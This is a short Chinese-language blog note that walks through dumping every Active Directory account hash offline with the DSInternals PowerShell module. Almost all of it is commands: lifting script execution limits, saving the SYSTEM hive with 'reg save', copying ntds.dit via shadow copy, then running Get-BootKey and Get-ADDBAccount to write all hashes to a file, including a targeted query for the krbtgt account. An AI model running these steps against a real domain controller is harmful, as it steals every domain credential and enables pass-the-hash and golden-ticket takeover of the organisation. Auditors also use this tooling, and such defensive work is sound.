完整导出域内用户hash小记 [powershell离线提取域内所有账户hash]



1
利用 DSInternals PowerShell

本地测试环境:

1
win 2012r2

离线导出环境要求:

1
2
Windows PowerShell 3+
.NET Framework 4.5+

支持的系统:

1
2
3
4
5
Windows Server 2012 R2
Windows Server 2008 R2
Windows 10 64-bit
Windows 8.1 64-bit
Windows 7 64-bit

先看下当前系统的powershell版本:

1
ps > Get-Host | Select-Object Version

放开pwoershell脚本执行限制:

1
Set-ExecutionPolicy Unrestricted


准备好ntds.dit和SYSTEM.hiv文件:

1
2
3
ntds.dit [可以利用shadowcopy.bat快速获取]
system.hiv [reg即可获取]
reg save hklm\system system.hive

安装,导入DSInternals模块:

1
2
3
cd DSInternals
powershell
Import-Module .\DSInternals

直接导出域内所有用户hash

1
2
$key = Get-BootKey -SystemHivePath "C:\system.hive"
Get-ADDBAccount -All -DBPath "C:\ntds.dit" -BootKey $key | Out-File hash.txt

也可只获取指定账户的详细信息

1
2
$key = Get-BootKey -SystemHivePath "C:\system.hive"
Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=klionsec,DC=org' -DBPath 'C:\ntds.dit' -BootKey $key